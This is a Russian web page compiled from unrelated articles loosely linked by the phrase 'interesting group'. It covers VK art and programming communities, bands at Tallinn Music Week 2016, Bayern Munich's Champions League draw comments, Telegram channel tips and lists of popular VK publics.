Интересная группа: Что почитать: 5 интересных групп “ВКонтакте” об искусстве и фотографии

Содержание

Что почитать: 5 интересных групп “ВКонтакте” об искусстве и фотографии

Мы собрали пять групп “ВКонтакте”, авторы которых говорят об искусстве и фотографии простым языком.

Losko

Losko — для тех, кто видит красоту во всем, не только в общепризнанных шедеврах, но и в повседневных вещах, которые окружают всех нас.

Авторы группы делятся вдохновляющими подборками начинающих и профессиональных фотографов, публикуют интервью с современными художниками и архитекторами, а также рассказывают о выдающихся личностях — от Энни Лейбовиц до Анри Картье-Брессона, от Захи Хадид до Бьярке Ингельса, от Винсента Ван Гога до Дэвида Хокни.

Ван Гог. Автопортрет.

Paintings Gallery

Paintings Gallery — для тех, кто хочет видеть в ленте шедевры живописи.

Группа посвящена изобразительному искусству. Авторы ежедневно публикуют картины известных художников, а также скетчи, скульптуры, коллажи, иллюстрации и фотографии. Если подписаться на группу, то в ленте можно будет периодически встречать шедевры Клода Моне, Яна Вермеера, Густава Климта и других.

Ян Вермеер. Девушка с жемчужной сережкой.

SIMPLE

SIMPLE — для тех, кто ценит эстетику минимализма.

Название группы отражает ее сущность — здесь все простое, но удивительно красивое: умиротворенные пейзажи, минималистичные интерьеры, цитаты и подборки книг.

“Уличный”

Группа «Уличный» — для тех, кто ценит жанр стрит-фотографии и может видеть красоту вокруг.

Группа собрала огромную онлайн-галерею уличных снимков — здесь можно найти подборки как известных репортажных фотографов из Magnum, так и малоизвестных авторов со всего мира. А еще — полезные статьи, интервью и фильмы.

Артем Петрушин.

f/64

f/64 — для тех, кто любит современное искусство и моду.

Крупнейшее сообщество, посвященное визуальной культуре. Авторы проекта ежедневно рассказывают о музыкальных проектах, современном искусстве, фотографии и кинематографе. Здесь можно найти подборки легендарных спектаклей от режиссеров со всего мира или архивы фильмов о стрит-арте.

Анри Картье-Брессон.

Фото: Getty Images

5 интересных групп, способных прославиться в России :: Впечатления :: РБК Стиль

© пресс-материалы «Громыка»

Автор Денис Бояринов (Colta.ru)

06 апреля 2016

Денис Бояринов выбрал с главного восточноевропейского музыкального фестиваля пять групп, у которых есть все, чтобы понравиться российскому слушателю.

В минувший уикенд в Таллине прошел шоукейс-фестиваль Tallinn Music Week 2016 — крупнейший смотр новых музыкальных талантов в Восточной Европе, на который собралось около 250 артистов из 33 стран мира. Tallinn Music Week — имиджевый музыкальный фестиваль Эстонии, которая мыслит себя в авангарде новейших преобразований современного европейского общества, взявшего курс на «креативную демократию» —  изменение социума к лучшему через музыку, дизайн, технологии, образование и науку. TMW уже тесно в границах музыкального фестиваля и музыкального бизнеса. На конференциях здесь обсуждают не только как написать хит и как правильно заниматься краудфандингом, но проблемы мигрантов, города будущего и развитие балтийского региона. Помимо концертов и вечеринок в программу развлечений шоукейс-фестиваля входят арт-выставки, кинопоказы, маркеты молодых дизайнеров, фиесты крафтового пива и высокой гастрономии. Это вам не «Новая Волна» в Сочи с ее неизменным талисманом в лице Аллы Борисовны Пугачевы.

Возвращаясь к музыкальной программе — TMW и здесь набирает в масштабе. В этом году на фестивале было больше специальных событий, посвященных музыке самых разных направлений. Президент Эстонии Тоомас Хендрик Ильвес — первый глава государства, выпустивший рок-сборник — играл диджей-сет с персональными комментариями.

Президент Эстонии Тоомас Хендрик Ильвес — первый глава государства, выпустивший рок-сборник   (president.ee/© AKU)

Композитор Габриэль Прокофьев, внук Сергея Сергеевича, представлял свою симфонию для оркестра и диджея-турнтаблиста. Историк панка и фронтмен манчестерской постпанк-группы Membranеs Джон Робб бесновался на сцене в компании эстонского женского камерного хора Sireen. Русские электронщики Pixelord и Moa Pillar торпедировали слушателей бас-ритмами среди кораблей и подлодок в модерновом морском музее Seaplane Harbour. Впрочем, главной задачей Tallinn Music Week остается помогать профессионалам музиндустрии открывать новых артистов, а группам — выбираться на новые территории, как коммерческие, так и творческие. Дальше — 5 групп из разных стран, которые, на мой взгляд, заслуживают внимания русского слушателя и имеют потенциал для роста в России.

SHIPSEA

Сольный проект Яниса Шипкевица из дуэта Instrumenti, главных поп-звезд Латвии после Brainstorm. Instrumenti пытались произвести впечатление на Москву своим европейским арт-попом. В песнях SHIPSEA еще больше арт-составляющей и меньше доступных большинству поп-факторов. Вспомнив свое прошлое в вокальной группе Cosmos, где ему приходилось исполнять барочную музыку, Шипкевиц сел за рояль, подключенный к лупборду, и стал сочинять электронно-акустические романсы, которые соединяют Генделя с Wild Beasts, а Лори Андерсон с Джеймсом Блейком. Интересней всего выходит, когда Шипси импровизирует и на глазах у завороженной публики своим контртенором возводит хрупкие арки вокальных фуг. Очень хотелось бы, чтобы барокко-поп SHIPSEA нашел своих поклонников и в России, к тому же Шипси дивно может петь и по-русски.


CHLOPCY KONTRA BASIA

В этом году на Tallinn Music Week как никогда широко был представлен жанр world music в разнообразных современных прочтениях, в диапазоне от Африки до Тувы и от хард-рока до бростепа. Почти все интересные группы на фестивале использовали народные мотивы как основу для своей музыки. Краковский квинтет Chlopcy Kontra Basia (т.е. «Парни против Баси») были еще не из самых радикальных: группа музыкантов (парней) остроумно перекладывает ритмические рисунки польских танцев на плотный грув джазового комбо, а их вокалистка Барбара (Бася), очаровательно «пшекая» и эротично подыгрывая себе на арфе, пересказывает в песнях сюжеты древних мифов и легенд разных стран мира. Сказочный этно-джаз Chlopcy Kontra Basia нашел бы себе поклонников среди завсегдатаев фестиваля «Усадьба Джаз».

HEY ELBOW

Шведское трио Hey Elbow — одна из немногих групп на фестивале, которая не показалось бы скучной и вторичной и без дарбуки и моринхура (восточные музыкальные инструменты, — прим. ред.). В активе молодых шведов из Мальмё пока только один альбом «Every Other», якобы записанный за 9 дней, но при этом группа не звучит сыро и несыгранно, а напротив удивляют мощным концертным саундом, в котором нежно-стальной голос Джулии Рингдаль утоплен в громовом звоне гитары, синтезаторной пене и раскатах ритуальных барабанов.

JUNK RIOT

Таллиннские рокеры Junk Riot, возможно, уже знакомы российским пользователям «ВКонтакте» — в конце концов, группа добралась аж до Владивостока, выступив и на фестивале Ильи Лагутенко V-Rox, и в московском «Мумий Тролль Music Bar». Вкусу лидера «Мумий Тролля» можно доверять — эстонцы играют модный нуарный рок с запальчивым ритмом, заразительным басом, стрекотом хай-хэтов и пронзительным вокалом. Эффектно выступают живьем, поют по-русски весьма осмысленные тексты — таких групп, как ни странно, в России не хватает, так почему бы их не везти из Таллина.

«ГРОМЫКА»

А это группа из Петрозаводска, дебютный альбом которой вышел месяц назад и учинил маленький переполох среди московских музыкальных журналистов. У музыкантов «Громыки», на самом деле, весомый опыт — это заметно по их степенному поведению на сцене и солидному звуку, который подходит их нарисованным бровям и серым пиджакам с узкими черными галстуками. Под личинами членов Политбюро, которые собрали собственный «Битлз», скрываются музыканты одной из старейших петрозаводских рок-групп «Револьвер», которых когда-то протежировал Юрий Шевчук.

Казалось бы, абсурдистские песни «Громыки», в которых считываются отсылки к «Звуки Му», «Авиа», «Центр» и «Ньюансу», должны быть совершенно непонятны иностранцам — трудно себе представить менее экспортную музыку из России чем та, которая апеллирует к культуре советского рок-андерграунда. Однако ж до Таллинна группу веселый рок довел и, судя по тому, как музыканты были атакованы после концерта алчущими автографов слушателями, «Громыка» в Эстонию еще вернется.

 

«Очень интересная группа»

Жеребьевка группового этапа Лиги чемпионов гарантировала «Баварии» интересные поединки. Финалист прошлого сезона «Тоттенхэм Хотспур», «Олимпиакос» и «Црвена Звезда» — соперники мюнхенцев по группе B. В плей-офф выйдут команды, занявшие первые два места. «Я считаю, мы можем быть довольны результатами жеребьевки», — прокомментировал председатель правления Карл-Хайнц Румменигге. Спортивный директор Хасан Салихамиджич призвал не допустить недооценки соперников, подчеркнув, что целью «Баварии» будет первое место.  

Комментарии после жеребьевки:

Карл-Хайнц Румменигге: «Думаю, мы можем быть довольны результатами жеребьевки. Важно будет подойти к каждому матчу с высокой мотивацией, концентрацией и уважением к сопернику». 

Хасан Салихамиджич: «Мы определенно можем быть довольны этой группой. Наша цель — выйти в плей-офф с первого места. В то же время мы ни в коем случае не должны допустить недооценки соперников. В Греции и в Белграде нам будут противостоять не только предельно мотивированные команды, но и их эмоциональные болельщики».

Нико Ковач: «Это очень интересная группа. Я в предвкушении матчей против этих соперников. На их стадионах всегда особенная атмосфера. Я уверен, что мы добьемся выхода в плей-офф». 

Мануэль Нойер: «Хотя в лице «Олимпиакоса» и «Црвены Звезды» мы получили в соперники две сильные команды, я считаю, что за первые два места будем бороться мы с «Тоттенхэмом». У «Тоттенхэма» очень хорошая команда, они доказали это в прошлом сезоне и во время Кубка Ауди у нас в Мюнхене. Но я в предвкушении матчей и с другими соперниками — на выезде будет очень жаркая атмосфера». 

Томас Мюллер: «В лице «Тоттенхэма» мы получили очень интересного соперника, против которого я лично еще не играл. Нам предстоят два напряженных матча против финалиста прошлого сезона. В Греции нас ждет жаркая атмосфера, в Белграде я в предвкушении встречи с бывшим игроком сборной Германии Марко Марином. В целом мы должны ставить перед собой цель выйти в плей-офф с первого места».  

Йозуа Киммих: «Меня в первую очередь радует, что в нашей группе оказался финалист прошлого сезона. Против «Тоттенхэма» мы должны будем доказать, что мы можем успешно выступать на международном уровне. Будучи «Баварией» Мюнхен мы должны ставить перед собой цель выйти из группы с первого места». 

Комментарии к жеребьевке группового этапа

Миссия по защите титула победителя Лиги чемпионов начнется для «Баварии» с матчей против «Атлетико» Мадрид, «ФК Зальцбург» и московского «Локомотива»! Такой жребий выпал на долю Рекордмайстера в четверг вечером в Женеве. «Интересная группа. Против двух команд — «Зальцбурга» и «Локомотива» — мне еще не приходилось играть», — рассказал Томас Мюллер. «Я очень рад, что на групповом этапе встречусь со своим бывшим клубом мадридским «Атлетико», — сказал Лукас Эрнандес.  fcbayern.com представляет обзор комментариев к жеребьевке.

Комментарии к жеребьевке Лиги чемпионов

Ханси Флик: «Интересная группа. В Лиге чемпионов не бывает легкого жребия. Название турнира говорит само за себя: друг с другом играют чемпионы. Поэтому мы в предвкушении вызова в каждом матче — против «Атлетико» и, конечно, против «Зальцбурга», до которого нам полтора часа езды на автобусе». 

Мануэль Нойер: «Нас ожидает сильная группа, но и у нас сильная команда. Как и в любой другой год, действующий победитель является фаворитом группы. Мы в предвкушении матчей». 

Роберт Левандовски: «Мы должны быть готовы. Не играет роли, сколько титулов мы уже выиграли — мы хотим больше».

Томас Мюллер: «Интересная группа. Против двух команд — «Зальцбурга» и «Локомотива» — мне еще не приходилось играть. Будучи действующим победителем Лиги чемпионов, уже на групповом этапе ты находишься в положении цуцванга. Но я в предвкушении всех соперников». 

Лукас Эрнандес: «Я очень рад, что на групповом этапе встречусь со своим бывшим клубом мадридским «Атлетико». Это клуб, в котором я вырос как футболист, который дал мне очень много и с которым я до сих пор связан. Матчи против них будут очень сложными, так как они очень жестко обороняются, а за счет новичков обладают сильной атакой. Они могут доставить нам проблем, поэтому, чтобы обыграть их, нам придется выложиться на все 100 процентов».  

«Атлетико», «Зальцбург» и «Локомотив» — соперники «Баварии» по групповому этапу:

Ничё так, интересная группа… — ориджинал

Набросок из нескольких строк, еще не ставший полноценным произведением
Например, «тут будет первая часть» или «я пока не написала, я с телефона».

Мнения о событиях или описания своей жизни, похожие на записи в личном дневнике
Не путать с «Мэри Сью» — они мало кому нравятся, но не нарушают правил.

Конкурс, мероприятие, флешмоб, объявление, обращение к читателям
Все это автору следовало бы оставить для других мест.

Подборка цитат, изречений, анекдотов, постов, логов, переводы песен
Текст состоит из скопированных кусков и не является фанфиком или статьей.
Если текст содержит исследование, основанное на цитатах, то он не нарушает правил.

Текст не на русском языке
Вставки на иностранном языке допустимы.

Список признаков или причин, плюсы и минусы, анкета персонажей
Перечисление чего-либо не является полноценным фанфиком, ориджиналом или статьей.

Часть работы со ссылкой на продолжение на другом сайте
Пример: Вот первая глава, остальное читайте по ссылке…

Если в работе задействованы персонажи, не достигшие возраста согласия, или она написана по мотивам недавних мировых трагедий, обратитесь в службу поддержки со ссылкой на текст и цитатой проблемного фрагмента.

Интересные группы в Телеграме, обзор лучших страниц и каналов в Telegram

Telegram — относительно молодой сервис для общения по интернету. Ежедневно аудитория пользователей мессенджера расширяется. Приложение привлекает многообразием интересных тематических каналов и групп, так что каждый может найти что-то полезное для себя или поделиться увлекательной информацией в той или группе по интересам.

Тематика и виды групп в Telegram

В мессенджере предусмотрены два варианта обмена информацией: каналы и чаты. Канал создается для публикации соответствующих его тематике материалов и подборок, демонстрации творчества и проведения опросов. Группы используются для обсуждений новостей и иных дискуссий.

Интересные группы в Телеграме представлены на любой вкус.

Тематические рубрики Описание направления
Музыкальные группы Популярная тематика, она насчитывает более 500 каналов. Представлены треки разных жанров: поп, рэп, джаз, классика. Слушать музыкальные сборники можно прямо из мессенджера бесплатно.
Игровые сообщества Здесь публикуются новости игровой индустрии, сообщается о выходе обновлений популярных игр, ботах, модах и другая полезная информация. Можно войти в команду или объединиться в игровой.
Каналы про технологии Для тех кто интересуется продвижением IT-технологий.
Новостные ресурсы Группы для людей, живо интересующихся новостями из жизни общества, спортивными и культурными событиями.
Кино и сериалы Все о новинках киноиндустрии: обзоры и подборки фильмов для просмотра.
Юмор и развлечения Шутки, приколы, анекдоты, веселые байки и ролики и другой развлекательный контент.
Экономические блоги Новости и интересная информация из области финансов.
Образовательные проекты Для тех кто хочет быть в курсе научных открытий в той или иной области знаний.
Сообщества по бизнесу и стартапы Информация для занимающихся бизнесом, продвижением товаров и услуг. Здесь можно задавать вопросы, консультироваться.

Виды групп

В мессенджере предусмотрено два вида групповых чатов и каналов: открытые и приватные. Открытая группа/канал допускает свободное присоединение. Доступ в приватный ресурс возможен только по личному приглашению участника или владельца.

Чтобы присоединиться к группе в мессенджере, нужно ее найти в приложении или перейти по прямой ссылке. Для удобства пользователей в мессенджере предусмотрена функция подписки. Для вступления в открытый телеграм-канал/группу достаточно нажать на кнопку «Подписаться». Ресурс автоматически появится в перечне мессенджера. Также подписчики автоматически уведомляются о новых публикациях и дискуссиях.

Посещая интересные каналы Телеграм, пользователь может не только весело проводить свой досуг, но и быть на волне окружающих событий.

Как искать интересные страницы

Новичкам не так просто найти интересное в Телеграме, хотя и есть поисковая строка.

Важно!
Поисковая система мессенджера не отображает полного перечня чатов. По умолчанию выдается только три результата из глобального поиска, которые система посчитает наиболее релевантными.

Перебирание словосочетаний, имеющие смысловое отношение к интересующей группе — малоэффективное и муторное занятие. Ведь логику поисковой выдачи довольно сложно уловить. Проще воспользоваться поиском по точному адресу группы/канала формата @имя_чата.

Поискать подходящие по тематике Telegram-адреса самых интересных ресурсов можно в специальных каталогах, публикуемых на сайтах, популяризирующих мессенджер. В каталогах публикуются имена групп и каналов, собравшие большое число подписчиков и отзывов о качестве предлагаемого контента. Информация на сайтах-каталогах, как правило, систематизируется по рубрикам и регулярно обновляется.

Важно!
При выборе адресов ориентируйтесь на описание тематики канала/группы, количество подписчиков, оценки и отзывы посетителей.

Обзор популярных групп и каналов Телеграм

Понять, в каких группах может быть предложен качественный контент, помогают топовые подборки телеграм-ресурсов. Предлагаем одну из таких выборок.

  • @Novosty. Очень популярный новостной канал, собравший более 70 тысяч подписчиков. Ресурс освещает новости в различных сферах: спорт, политика, происшествия и многое другое.
  • @InMindChat. Группа «Английский вместе». Изучение языка через общение. Пополнение словарного запаса в игровом процессе. Новости и интересные факты на английском и многое другое.
  • @music_muzyka. Популярный музыкальный чат, около 500 тысяч подписчиков. Премьеры песен и клипов, лучшие хиты в подборках исполнителей со всего мира. Публикуются ссылки на скачивание.
  • @tg_psy. Интересные статьи по психологии, помогающие понять себя и других людей. На канале более 1 млн. подписчиков.
  • @netflix_filmy, @movies_filmy, @Netflix_Filmys — тройка крупнейших каналов, предлагающих любителям кино и сериалов качественный контент и много нового кино.
  • @sportsru. Канал актуальных спортивных новостей и репортажей.
  • @flibusta_anglysky. Представляет ТОП-подборки книг, обзоры литературных новинок. Каждый подписчик найдет произведение по душе.
  • @histphoto. Много исторического фото. Подходит для увлеченных историей людей.
  • @vrednayamoda. Тренды в моде, обзоры модной одежды и аксессуаров.
  • @Dota2_good. Геймерский ресурс. Статьи об известных геймерах. Анонсы трансляций.
  • @zavodnoiapelsin1. Интересный канал для активных людей, ведь в заводном апельсине можно и музыку послушать, и обсудить понравившиеся треки, и познакомиться;
  • @vsratie_audio. Фишкой этой группы считается активное использование голосовых сообщений.

Полезные советы

Совет №1

Отыскать в Telegram и перечислить все группы, пользующиеся вниманием аудитории — занятие практически невыполнимая. Ведь группы и каналы ежедневно открываются и закрываются. Одни могут терять подписчиков и популярность, другие, напротив, за несколько дней подняться в ТОП. Поэтому при выборе следуйте критериям:

  • регулярность работы чата;
  • появление новой актуальной информации;
  • рост аудитории подписчиков;
  • активность аудитории в чате.

Совет №2

В поисковой выдаче помимо названия/имени собеседника и адреса/контакта отражается значок, указывающий на тип ресурса. Канал отмечается пиктограммой в виде громкоговорителя, контакт — автаркой, бот — пиктогараммой в виде робота и т. д. По иконке проще ориентироваться в результатах глобального поиска.

Совет №3

Отыскать человека, имеющего аккаунт в мессенджере, можно двумя способами:

  • по номеру мобильного телефона;
  • по его @username.

Если контактный номер или имя пользователя есть в адресной книге гаджета, мессенджер выдаст его в результате поискового запроса, и можно будет связаться. В противном случае программа предложит направить человеку приглашение со ссылкой на Телеграм в виде СМС-сообщения.

Часто задаваемые вопросы

Я новичок в Телеграме, но есть желание вести свой канал. Возможно ли купить готовый ресурс?

Покупка канала возможна. Но у новичков нет навыка в вопросе выбора хорошего ресурса. Вы можете нарваться на накрученный и неинтересный для потенциальной аудитории канал. Не исключены проблемы с ведением, наполнением контентом и монетизацией своей затеи. Совсем без опыта работы с телеграм-каналами вкладываться в чужой ресурс не стоит.

Чем канал в Телеграме отличается от группы?

Группа подразумевает некоторую закрытость, некий круг единомышленников, друзей, коллег. Количество участников группы до 200 человек. Канал создается для всеобщего обозрения.

Топ интересных групп в вк. Давай лучше дома посмотрим

Раскрученное и известное сообщество ВКонтакте — это хороший способ заработать. Самые популярные группы в ВК — уже давно не просто развлечение, а стабильный, хорошо отлаженный бизнес. Для достижения больших высот нужно работать долго и планомерно, а бесплатные способы использовать только на старте предельно аккуратно. В чем секрет таких групп и кому это нужно?

ТОП-5 самых известных сообществ 2018 года

Выборка самых посещаемых сообществ-миллионников соцсети ВКонтакте актуальна в сентябре 2018 года. Данные со статистической страницы http://vktoppost.ru/ .

Критерии популярности группы ВК

Самым очевидным признаком того, почему группа попала в ТОП, является численность её подписчиков. Но иногда, при поиске нужного сообщества можно наблюдать интересную ситуацию: система выдает несколько вариантов и на первом месте стоит не самая многочисленная группа. Причин тому несколько:

  1. Малое количество спама (рекламных объявлений).
  2. Оптимизация. Контент, перенасыщенный ключевыми словами, тоже попадает на задворки, а грамотные тексты выводят страницу на первые позиции.
  3. Отсутствие «мертвых» подписчиков. Система хорошо понимает, какие участники активны, а какие нужны просто для веса. Такие аккаунты удаляются сами автоматически, что снижает шансы попасть в ТОП.


Из чего следует сделать вывод, что только планомерная работа и грамотный подход к делу дадут стойкие результаты.

8 секретов интересных групп в ВК

Алгоритм отбора групп достаточно сложный, и создатели не разглашают его широким массам, во избежание манипуляций. Чтобы группа стала интересной для людей, нужно соблюдать следующие условия:


Рейтинг групп ВК

На самые высокие позиции группы попадают не просто так. При выборке учитывается несколько факторов:

  • количество подписчиков;
  • охват аудитории по периодам;
  • прирост и активность участников;


  • периодичность публикаций;
  • наличие и дата последнего бана;
  • геопринадлежность посетителей.

Все эти факторы при грамотном подходе можно использовать с умом.

Для чего нужна популярность группы ВК?

Группа в ВК в самом начале может стать простым поводом разлечься. Умные предприниматели действуют на перспективу и монетизируют популярность.

ВКонтакте — это социальный медиапроект. Как любое СМИ, они зарабатывают большие деньги на рекламе. Формула проста: популярные многочисленные сообщества за один рекламный пост берут очень кругленькую сумму. Реклама может быть скрытой или явной, иметь любую форму: пост, ссылка. В конце концов, если все это дело надоест, можно поступить, как Паша Дуров. Продал опостылевший бизнес и махнул на острова — доживать счастливую старость. Вот вам и развлекательные картинки в ВК!

Всем-всем привет! Представляем вам седьмой выпуск шоу DevShow, которое посвящено публичным группам в социальной сети ВКонтакте. Практически каждый из нас имеет аккаунт в ней, так почему бы не совместить приятное с полезным! Добавляйте себе следующие паблики в ВК и учитесь программированию непрерывно.

1. Библиотека программиста

Библиотека программиста — это самый большой ресурс в ВКонтакте, где есть множество хороших подборок видеоуроков и конференций, литературы и статей, посвященных каким-то технологиям или рекомендациям будущим программистам. В паблике «Библиотека программиста» есть раздел «Обсуждения» , где можно задавать вопросы и получать много полезной информации.

2. Типичный программист

Паблик «Типичный программист» является крупнейшим во ВКонтакте ресурсом для людей, которым интересно программирование и всё, что с этим связано. Здесь вы найдете много образовательных статей, видеоуроков, свежих новостей из IT-мира, в том числе много юмора.

«Типичный программист» всегда старается делать свои материалы очень качественными и проработанными. Советуем вам подписаться!

3. Magisters.org | Обучение современным профессиям

Паблик по обучению современным профессиям Magisters.org содержит видеокурсы по веб-дизайну и веб-разработке, а также много уроков по различным CMS. Руководителем проекта Magisters.org является Влад Гриценко, очень талантливый молодой человек с прекрасным голосом. Влад очень ясно и доступно объясняет все аспекты рассматриваемых технологий.

4. Лучшие видеолекции

Здесь вы найдете подборки видеолекций не только по программированию, но и смежным отраслям. Например, вы можете послушать очень интересную дискуссию о существовании Ничто или лекцию о современном понимании шизофрении. Одним из последних туда добавлен знаменитый курс Гарвардского университета по основам программирования CS50. Контент паблика «Лучшие видеолекции» очень полезный и занимательный, так что смело подписывайтесь и развивайтесь!

5. AngularJS — HTML enhanced for web apps!

Паблик AngularJS посвящен HTML-расширению для веб-приложений AngularJS, а также является самым большим сообществом на русском языке по AngularJS. Примечательно то, что в разделе «Обсуждения» есть вакансии для устройства на работу.

6. Программирование

Еще один интересный ресурс «Программирование» предлагает вам лекции и книги по программированию, видеоуроки и доклады с IT-конференций. Здесь вы можете научиться работать с базами данных, разобраться с хешированием или почитать книгу «Язык программирования Java SE 8. Подробное пособие» Джеймса Гослинга и Билла Джой. Загляните в паблик «Программирование», вам определенно там понравится!

7. Программирование ITmozg

Еще один ресурс, рассмотренный в нашей передаче, — это паблик от компании ITmozg «Программирование ITmozg» , где размещено множество статей, видеоуроков по веб-разработке и не только, интересных новостей из сферы IT, любопытных задачек и вакансий. По каждой вакансии в паблике «Программирование ITmozg» можно найти подробную информацию. Если ты социопат и зануда, тебе определенно туда!:=)

8. Найти IT

«Найти IТ» – это форум для студентов и выпускников IT-специальностей, где размещают информацию о проводимых мероприятиях с представителями различных IT-компаний. Во время форума участники смогут прослушать интересные лекции от различных компаний, поиграть с роботами, порешать задачки и получить за это призы. Подписывайтесь на «Найти IT» и ждите ближайшей встречи!

Группы Вконтакте стали неотъемлемой частью жизни многих пользователей социальной сети. Каждый день миллионы людей листают свою новостную ленту, ставят лайки и делают репосты. Порой информация, которую несут в себе записи, влияет на нас больше, чем люди вокруг нас. Она формирует наши потребности и мнение, наш стиль общения и поведения в обществе, а порой даже влияет на наше мировоззрение.

Все хотят видеть в своей ленте только качественный и интересный контент. Мы постарались собрать для Вас список самых популярных и интересных сообществ ВКонтакте .

Ниже представлен ТОП из 15 самых лучших и популярных групп на различные тематики .

Участников: 14 309 028.

Самое большое сообщество в ВК.
Любите хорошую музыку? Хотите быть в курсе всех новинок музыки? Тогда этот паблик Вам подойдет. Музыкальный контент на любой вкус. Только лучшие и свежие песни.

Интересная планета – путешествия, туризм

Участников: 3 102 011

Паблик для тех, кто любит красоты нашей планеты. Самые чудесные и красивые места. Здесь Вы сможете построить маршрут своих будущих путешествий, и поделится своим опытом отдыха в тех или иных местах.

Красиво сказано…

Участников: 6 400 426

Название группы говорит само за себя. Хорошее сообщество, где собраны лучшие цитаты и фразы на русском языке. Здесь каждый сможет найти что-то для себя.

Знаете ли Вы?

Участников: 5 641 240

Хотите знать немного больше? Тогда это сообщество для Вас. Мы уверены, что здесь каждый найдет что-то новое для себя. паблик, в котором собраны только самые интересные факты о самом разном.

Участников: 5 283 275

Популярное сообщество для девушек и женщин, которые стремятся выглядеть лучше. Крутые идеи, секреты красоты, советы и множество другого интересного контента публикуется здесь каждый день. Следите за собой? Хотите выглядеть лучше? Заходите сюда.

Vine Video

Участников: 5 242 237

Ребята создали паблик, где публикуются только видеозаписи. Крутая идея, которую оценили миллионы пользователей ВК. Сейчас это самый популярный видеопаблик. Все видео, которые вирусно разносятся по всем группам ВК, сначала публикуются тут. Хотите быть первыми? Заходите.

Лучшие стихи великих поэтов | Литература

Участников: 5 162 818.

Begin

English . Английский язык для всех

Участников: 4 228 586.

Мечтаете владеть английским в совершенстве? Или хотя бы понимать и говорить на английском? Тогда заходите в эту группу. Здесь собрана лучшая информация для изучения английского языка.

Идеи дизайна интерьера

Участников: 4 571 686.

Для всех нас имеет значение окружающие нас вещи, особенно дом (квартира), в котором мы живем. В этом паблике собраны лучшие идеи дизайна. Если Вы затеяли сменить обстановку, Вам обязательно нужно сюда заглянуть.

Реальный футбол

Участников: 2 098 877.

Сообщество любителей футбола. Ребята постарались создать действительно хорошую группу с качественным контентом. Все новости из мира футбола, результаты и обзоры матчей, прямые трансляции – все это тут есть.

Подводя черту под этим списком, можно сказать, что есть еще много интересных групп. Ведь их создатели такие же люди, как и мы с Вами (те же потребности, ценности). Они просто создают то, что нравится им самим, а мы это оцениваем. И только лучшие из лучших набирают такую популярность, как группы из списка выше.

Мы выбрали наиболее популярные и интересные группы на разные темы (для мужчин, для женщин, для ценителей искусства и многое другое). Это не наше личное мнение, это то, что по достоинству оценили пользователи ВКонтакте, подписавшись на них. Все эти группы прошли испытание временем, а значит то, что они делают понравиться и Вам.

А какие группы вы считаете самыми полезными и популярными?

1. Подборки кино, фильмов

Паблик с теми самыми «сохрани себе на стену, чтобы не забыть посмотреть». Для удобства в публикациях вместе со списками фильмов приводятся и сами видеозаписи. Лайфхакер не призывает к пиратству: подборки можно использовать и для просмотра кино легально.

2. КиноПоиск

Представительство крупнейшего российского портала о кино. Трейлеры, слухи и новости из мира кино и, конечно, живые обсуждения — всё это в сообществе «КиноПоиска».

3. Давай лучше дома посмотрим

Паблик, советующий кино для домашнего просмотра — фильмы, которые уже не показывают в кинотеатрах, но которые всегда приятно пересмотреть.

4. LostFilm.TV

Паблик, администрируемый одними из самых популярных авторов озвучки современных сериалов. В удобном навигационном меню можно найти информацию о десятках , а на стене публикуются интересные новости.

Музыка

5. movie.soundtracks

Для тех, кто любит саундтреки не меньше самих фильмов. Музыку из популярных картин публикуют и другие паблики, но movie.soundtracks также порадует подборками композиций из старого или малоизвестного кино.

6. Новые Альбомы

Мимо этого паблика не пройдёт ни один мало-мальски заметный достойный релиз. Для сторонников легального прослушивания подборки снабжаются ссылками на Apple Music.

7. Perception of music

Музыкальные подборки разных жанров. Объединяющих критериев лишь два: качество и красота. Для удобства в сообществе есть поиск по жанрам, а также расписание, в соответствии с которым публикуются тематические подборки.

8. Родной звук

Паблик для жаждущих новых открытий поклонников . В «Родном звуке» публикуются как подборки довольно известных исполнителей (Tesla Boy, Pompeya), так и малоизвестных, но прошедших проверку весьма придирчивых администраторов.

9. История музыки

В этой группе разножанровые подборки сопровождаются щедрыми на интересные факты справками. Например, ежедневно публикуются посты «День в истории музыки», сообщающие о событиях в мире музыки, произошедших много лет назад.

Литература

10. Книги & Аудиокниги

В этом сообществе публикуются как книжные подборки, так и отдельные произведения. Отличный вариант для тех, кто любит слушать аудио «ВКонтакте», находясь в пути: большинство записей на стене сопровождается аудиокнигами.

11. Тысяча чертей, какая книга!

Паблик, рассказывающий о достойных писателях и их произведениях. Помимо подборок, аудиокниг и справочной информации, у ТЧКК есть другое немаловажное достоинство — возможность общаться с единомышленниками. Произведения активно обсуждаются в комментариях, а администрация ежедневно публикует вечернюю запись «Какую книгу читаете на ночь?».

Наука

12. Музей космонавтики

Официальный паблик музея космонавтики, основанного в Москве в 1981 году. На стене публикуются не только новости из жизни учреждения, но и интересные факты об истории освоения космоса.

13. N+1

Представительство научно-популярного издания N+1 «ВКонтакте». Публикуются статьи на тему новейших технологических разработок, новостей из мира физики, биологии, космонавтики и роботостроения.

14. Arzamas

«История культуры в видео, текстах и фотографиях» — описание, полностью соответствующее контенту, публикуемому изданием Arzamas. В сообществе можно узнать много нового об интересных вещах, о которых не рассказывают на уроках истории и литературы, например о вегетарианстве в дореволюционной России и тайных знаках в «Обломове» Ивана Гончарова.

15. Факультатив по истории

Тексты, в которых чувствуется характер и индивидуальность автора, порой читать куда увлекательнее, чем привычные статьи, написанные в информационном стиле. Автор паблика — колумнист издания «Дилетант» Оля Андреева, радующая подписчиков еженедельными статьями на тему истории.

Бизнес и мотивация

16. Стартапы и бизнес

Паблик издания vc.ru, пишущего о стартапах, растущих бизнесах и новых моделях заработка. Никаких бесполезных цитат и общих мотивационных советов — только факты, новости и интервью с предпринимателями.

17. IQ Blog — Бизнес секреты

Тем, кому нужна мотивация и поддержка советом на , поможет этот паблик. На стене публикуются разные записи: цитаты и факты из жизни исторических личностей, полезные статьи и тематические книжные подборки.

Спорт и фитнес

18. Спортивные статьи | Бодибилдинг

В этом паблике мотивировать призваны не броские цитаты, а развёрнутые полезные тексты, рекомендации из которых можно применить на практике. Статьи из этого сообщества помогут не только придать телу желаемую форму, но и сделать это грамотно, не навредив своему здоровью.

19. Персональный тренер

Ещё один паблик для тех, для кого совершенствование тела не очередное хобби, а одна из преобладающих в жизни целей. Многие посты подкрепляются видеороликами.

20. Бодифитнес, фитнес-бикини, фитнес

В этом сообществе можно найти всю необходимую информацию для поддержания тела в форме: мотивирующие цитаты, забавные картинки, инструкции по выполнению упражнений, советы по питанию и даже диетические рецепты.

Кулинария

21. ПП. ЗОЖ. Рецепты

